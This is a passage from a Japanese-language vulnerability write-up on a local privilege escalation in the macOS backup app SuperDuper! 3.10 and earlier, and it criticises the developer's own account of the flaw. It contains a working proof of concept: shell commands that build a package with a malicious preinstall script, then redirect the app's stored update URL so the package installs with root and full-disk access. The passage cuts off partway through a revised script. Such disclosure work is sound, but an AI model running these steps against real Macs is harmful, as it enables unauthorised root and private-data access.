この問題は開発者が示唆するよりも深刻なようです。そのため、この部分が埋もれてしまわないようにしたいと思います。開発者はブログで次のように述べています:
これは、お使いのシステム上で動作中のプログラムが SuperDuper の更新を探していて、正規の手段で実際の更新が提示され、あなたが「アップグレード」をクリックした場合にのみ発生します。
これは実際には正しくありません。この脆弱性を悪用するために、正規の手段で実際の更新が提示される必要はありません。SuperDuper 3.10 以前が提供する更新は、絶対に受け入れないでください! これについては、以下で詳しく説明します。
この脆弱性が、特権昇格に限定されないことも重要です。むしろ、プライバシー管理の侵害も含まれます。その詳細は、開発者のブログ投稿からは省略されているようです。
開発者のブログより:
当社の自動更新メカニズムが乗っ取られ、SuperDuper ではないパッケージをインストールさせられる可能性があります。
当社はインストーラパッケージに署名し、公証を受けていますが、macOS のパッケージインストーラがインストールする際、Gatekeeper はその公証をチェックしていません。そのため、ダウンロード内容がすり替えられ、その代わりにインストールされる可能性があります。インストールは昇格した特権で行われるため、悪意のある第三者のプログラム (これもインストールする必要があります) がシステムへの管理者アクセスを取得できる可能性があります。
CVE より:
Shirt Pocket SuperDuper! V.3.10 以前の問題により、ローカルの攻撃者がソフトウェア更新メカニズムを介して任意のコードを実行できる可能性があります。
この記事の著者は、この脆弱性の発見者ではありません。発見者は SuperDuper 開発者によって「匿名のセキュリティ研究者」とされています。私はこの脆弱性の発見を主張するものではなく、技術的な分析に興味を持っただけです。
CVSS 3.1 スコア: 7.8 High (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
この脆弱性を回避するには、SuperDuper! アプリケーションを削除するか、3.11 アップデートを適用してください。
警告: この脆弱性を回避するには、開発者の Web サイトから直接アップデートをダウンロードする必要があります。
このエクスプロイト分析および概念実証は、教育目的のみで提供されています。利用は自己責任で行ってください。
SuperDuper の開発者は、何百人もの開発者やセキュリティ専門家によってテストされたオープンソースのソフトウェア更新ソリューションを実装する代わりに、ルート権限で実行されフルディスクアクセスを持つ安全でないシェルスクリプトの上に構築された独自のソフトウェア更新メカニズムを作成しました。更新中にインストールされるソフトウェアの認証に失敗することで、SuperDuper は攻撃者のソフトウェアをインストールするよう欺かれます。開発者の修正は、この脆弱性の認証の側面のみに対処しており、更新プロセスを容易にするためにシェルスクリプトを使用することに起因する本質的な脆弱性には対処していません。
開発者の「Gatekeeper は公証をチェックしていない」というコメントは誤解を招きます。Gatekeeper が関与するのは、ブラウザでダウンロードしたものを開こうとしたときだけであり、アプリケーションの内部ソフトウェア更新メカニズムには適用されません。ソフトウェアがダウンロードしてコンピュータにインストールするものを検証するのは、100% 開発者の責任です。この開発者に、これは Gatekeeper の欠陥だと信じ込まされてはいけません。エクスプロイトの核心は、攻撃者が SuperDuper を欺いて別のパッケージをインストールさせることであり、それは昇格した特権で行われます。おそらくフルディスクアクセスでも実行されるでしょう。なぜなら、SuperDuper は何をするにもフルディスクアクセスを必要とするからです。
開発者のブログには次のようにも書かれています:
これは、お使いのシステム上で動作中のプログラムが SuperDuper の更新を探している場合、正規の手段で実際の更新が提示され、あなたが「アップグレード」をクリックした場合にのみ発生します。
このコメントを見て、このエクスプロイトの再現はおそらく不可能だろうと思いました。なぜなら、3.11 パッチの投稿と同時に、更新メカニズムへのサーバー側の変更が行われているはずだからです。言い換えれば、古いバージョンのソフトウェアがこの脆弱性の影響を受けないようにするために、更新メカニズムを無効化しているに違いない、と。ところが…… 私は SuperDuper の古いバージョン をダウンロードし、それを開くと、すぐに更新通知が表示されました† – エクスプロイトまでのクリックは 1 回です。これは非常に興味深いと思いました。自動更新メカニズムが無効化されていない場合、古いバージョンのアプリケーションを使用しているユーザーは、この脆弱性からどうやって保護されるのでしょうか? (これはこの記事の冒頭で述べた「アラート」に関連しています。この質問には最後に戻ります)
† まあ、そんなところです…… 実際の結果は非常に奇妙でした。更新の説明もセキュリティ勧告もなく、ウィンドウは空白で、「スキップ」と「更新」ボタンがあるだけでした。つまり、古いバージョンのユーザーは、更新メカニズムが無効化されていることでエクスプロイトから保護されているわけではなく、更新メカニズムを通じて問題を知らされることもありません。
私は先に進みました。アップグレードを適用すると、バックエンドの仕組みが SuperDuper のログに丁寧に記録されるので、それがどのように動作するかを確認するために、まずそこから見ていきましょう。
Transcript : UpgradeTranscript.plist
Ext Logging : Disabled
PHASE: 1. Upgrade Application
...ACTION: Downloading upgrade package
......COMMAND => Downloading update package...
......COMMAND => Preparing update package
...ACTION: Installing upgrade package
......COMMAND => Preserving SDAgent owner and mode bits
......COMMAND => Installing upgrade package
installer[3148] <Debug>: Product archive /tmp/SuperDuper!.pkg trustLevel=350
これらのコマンドと手順には、少なくとも 4 つの問題があると思われます:
パッケージインストーラはシェルスクリプトを実行できるため、代替インストーラパッケージの攻撃ベクトルとしてはこれが選ばれるだろうと推測します。まず、preinstall スクリプトを実行するパッケージを作成し、それを更新メカニズムにどのように割り込ませるかを見ていきましょう。
# Use of the "/tmp/superduper_install" installation folder offers convenient cleanup by SuperDuper
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
# create the script. /Library is only writable by root, so we will attempt to create a test file there.
# Getting the content of the Desktop folder requires a user-granted privacy privilege, so we will also attempt
# to pull that folder list into a text file on the desktop to see if we have full disk access. Note that to
# effectively test this part of the exploit, you should revoke Full Disk Access from Terminal.
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\nexit 0\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
# build the package
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
# put the package in a tar archive
cd /tmp/superduper_install/pkg
tar -cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
このエクスプロイトが攻撃者にどのようなアクセスを与えるかを確認するための簡単な余談です。シェルスクリプトを手動で実行すると(ターミナルにフルディスクアクセスや「ファイルとフォルダ」へのアクセスがない場合)、次の 2 つのエラーが表示されます:
touch: /Library/test: Permission denied
ls: /Users/user/Desktop: Operation not permitted
攻撃者はルートアクセスで多くの被害をもたらすことができますが、プライバシーアクセスもあれば、ホームフォルダ内のより広範囲のコンテンツにアクセスできます(デスクトップは些細に思えるかもしれませんが、隠し Library フォルダには 大量の プライベートデータが保存されています)。このエクスプロイトは、その両方を攻撃者に与えます。
さて、パッケージの作成は簡単な部分でした。更新メカニズムにどうやって侵入するのでしょうか? レースコンディションの悪用は明らかな候補でしたが、この手順のこの部分で介入できるのではないかと考えました:
/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL
ホストとダウンロード URL の変数は明らかにスクリプトの外部から来ています。それらを操作できるでしょうか? Sparkle ソフトウェア更新メカニズムを使用するアプリは、多くの場合「ソフトウェア更新チェック」URL を CFPreferences に保存します。そこで、SuperDuper も同じことをするかもしれないと思いました。案の定、さらに悪いことに、更新をチェックするための URL だけを保存するのではなく、実際のダウンロード URL を CFPreferences に保存しているのです。
defaults read com.blacey.SuperDuper
...
UMdownloadURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduper2.tar.gz";
UMfailureCount = 0;
UMinfoURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduperinfo2.rtf";
UMpublicVersion = "137.7";
ローカルファイルシステムの URL で上書きを試みました:
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
SuperDuper を再度開いて「更新」をクリックしましたが、更新は私の代替パッケージではなく開発者の更新をインストールしました。もちろんです – SuperDuper は起動時に更新を再度確認すると、defaults の値を書き換えました。今度は、SuperDuper が更新を提示した後に値を設定してみました。今度は機能しました! まあ、更新インストール自体は失敗しましたが、攻撃は成功しました – /Library/test ファイルが作成されました。
テストファイルを削除し、本当に機能していることを確認するためにテストを繰り返しました。また、デスクトップにある private_data ファイルにデスクトップのフォルダ一覧が含まれていることも確認しました – スクリプトはフルディスクアクセスで実行されていました。
ここで止めることもできましたが、エラーログには、SuperDuper が見つからないためにインストールが失敗したことが示されていました:
COMMAND => Copying upgrade bundle to temporary location
***ERROR OCCURRED: ditto: Cannot get the real path for source '/Applications/Utilities/SuperDuper!.app'
UpgradeTranscript.plist のシェルスクリプトのロジックを再検討したところ、SuperDuper アプリケーションを代替パッケージにコピーするだけでインストーラが実際に成功するかもしれないと気づきました(/tmp/superduper_install/SuperDuper!.app が存在しないために、ditto がそのエラーを吐いています)。これは思ったより困難で、SuperDuper はインストール中に常にクラッシュしていました。preinstall スクリプトにアプリを実行時に期待される場所へコピーさせる方がはるかに簡単でした:
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\n" >> /tmp/superduper_install/script/preinstall
printf 'cp -R /Applications/SuperDuper\!.app /tmp/superduper_install/SuperDuper\!.app\n' >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall